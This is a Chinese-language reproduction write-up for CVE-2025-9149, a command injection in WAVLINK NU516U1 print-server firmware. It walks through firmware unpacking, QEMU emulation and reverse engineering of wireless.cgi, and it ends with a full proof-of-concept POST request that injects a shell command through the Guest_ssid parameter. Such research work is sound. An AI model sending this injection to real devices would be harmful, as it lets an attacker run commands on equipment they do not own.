漏洞情报
CVE-2025-9149:在WAVLINK-NU516U1型号的固件(用于提供打印机服务器网卡)中发现漏洞,该漏洞存在于/cgi-bin/wireless.cgi中的sub_4032E4函数,对参数Guest_ssid的这种操作导致命令注入。这种攻击有可能远程实施。该漏洞已被公开披露,并可能被利用。
固件下载地址:https://docs.wavlink.xyz/Firmware/fm-516u1/
信息收集
binwalk查看固件信息并解包。
binwalk -Me WAVLINK-NU516U1-WO-A-2024-04-25-b516aec-GDBYFM.bin
在squashfs-root文件夹下查看固件信息,使用file&checksec&readelf工具知道固件是MIPS架构32位。
使用firmwalker脚本查看web服务器使用的是lighttpd。
固件模拟
使用qemu模拟固件环境。这里会遇到非法指令的错误,原因是cpu架构的兼容性不够,更换使用支持更多指令集的74Kf的CPU,修改后的命令如下。
##网卡配置
sudo tunctl -t tap0 -u `whoami`
sudo ifconfig tap0 192.168.100.1/24 up
##qemu模拟
qemu-system-mipsel \
-M malta \
-cpu 74Kf\
-kernel /home/iot/tools/qemu-images/mipsel/vmlinux-3.2.0-4-4kc-malta \
-hda /home/iot/tools/qemu-images/mipsel/debian_wheezy_mipsel_standard.qcow2 \
-append "root=/dev/sda1 console=ttyS0" \
-net nic -net tap,ifname=tap0,script=no,downscript=no \
-nographic
#在qemu环境模拟了之后就可以进行系统环境的配置
mount --bind /proc/ proc/
mount --bind /sys/ sys/
mount --bind /dev/ dev/
#网卡配置
ip link add br0 type dummy
ifconfig eth0 192.168.100.2/24
ifconfig br0 192.168.100.3/24
打包squashfs-root文件夹,再利用http传到模拟的系统中解包,运行etc/init.d文件夹下的lighttpd服务。访问配置的eth0网卡的ip地址192.168.100.2,访问成功。
问题解决
问题一:chroot正常运行/etc/init.d/lighttpd时出现的报错如下图。使用命令grep -ir "/var/lock/password"
在squashfs-root文件夹中检索报错的字符串,定位到/lib/functions.sh文件。解决方法就是先运行这个脚本再起服务。
问题二:解决了第一个/var/lock/passwd无法打开的情况,出现的找不到/var/文件夹的报错,查看lighttpd的源码。
ls -la查看之后发现是软链接到/dev/null,会被直接丢弃,解决方法就是将这个文件删掉之后直接mkdir var手动重新创建一个新的var文件夹。
问题三:小概率还会出现的报错如下,解决方法就是注释掉lighttpd.conf文件中的443端口的调用文件。但这个报错一般是上面挂载的问题引起的。
2025-08-26 03:05:38: (network.c.788) SSL: not enough entropy in the pool
漏洞分析
根据漏洞情报公开的信息,定位到漏洞所在的文件/etc/lighttpd/www/cgi-bin/wireless.cgi与函数sub_405EA8位置。
分析函数sub_405EA8是POST提交的表单的处理函数,上一级函数ftext中v8 = sub_405EA8("page", (int)v4, 0);
跟进到函数sub_405EA8,联系到a1是拼接好的"&page=
"提示符,a2是post传参的&page的值,调用函数sub_405DE8解码之后,a3决定打印的模式,将返回表单的处理结果给到v8。
返回到上级函数ftext,分析将page参数值v8设置为GuestWifi时,即拼接的第一部分为page=GuestWifi
,触发进入sub_4032E4函数。
跟进到sub_4032E4函数调用结果如下,Guest_ssid传入表单处理函数之后的值利用函数strdup拷贝到参数v15。同时,注意到调用到参数v15要满足v4等于1的情况,即启用guest模式(guest Wi-Fi),即拼接的第二部分guestEn=1
,满足条件之后就可以构造参数v15进行命令注入。
进一步跟进到函数sub_407504,已经传入了参数a1与a2,所以只能利用参数a3构造可变参数,拼接到v8变量触发system()
函数来执行。
漏洞验证
访问固件模拟的ip地址192.168.100.2,输入默认密码admin登录,登录之后抓包使用burpsuite进行抓包。
根据上面对漏洞点的分析拼接构造的请求包,验证命令注入点。
成功写入1.txt文件,利用成功。
POST /cgi-bin/wireless.cgi HTTP/1.1
Host: 192.168.100.2
Content-Length: 48
Cache-Control: max-age=0
Accept-Language: en-US,en;q=0.9
Origin: http://192.168.100.2
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.100.2/html/networkSetting.shtml
Accept-Encoding: gzip, deflate, br
Cookie: session=1959568570
Connection: keep-alive
page=GuestWifi&guestEn=1&Guest_ssid=$(ps>/1.txt)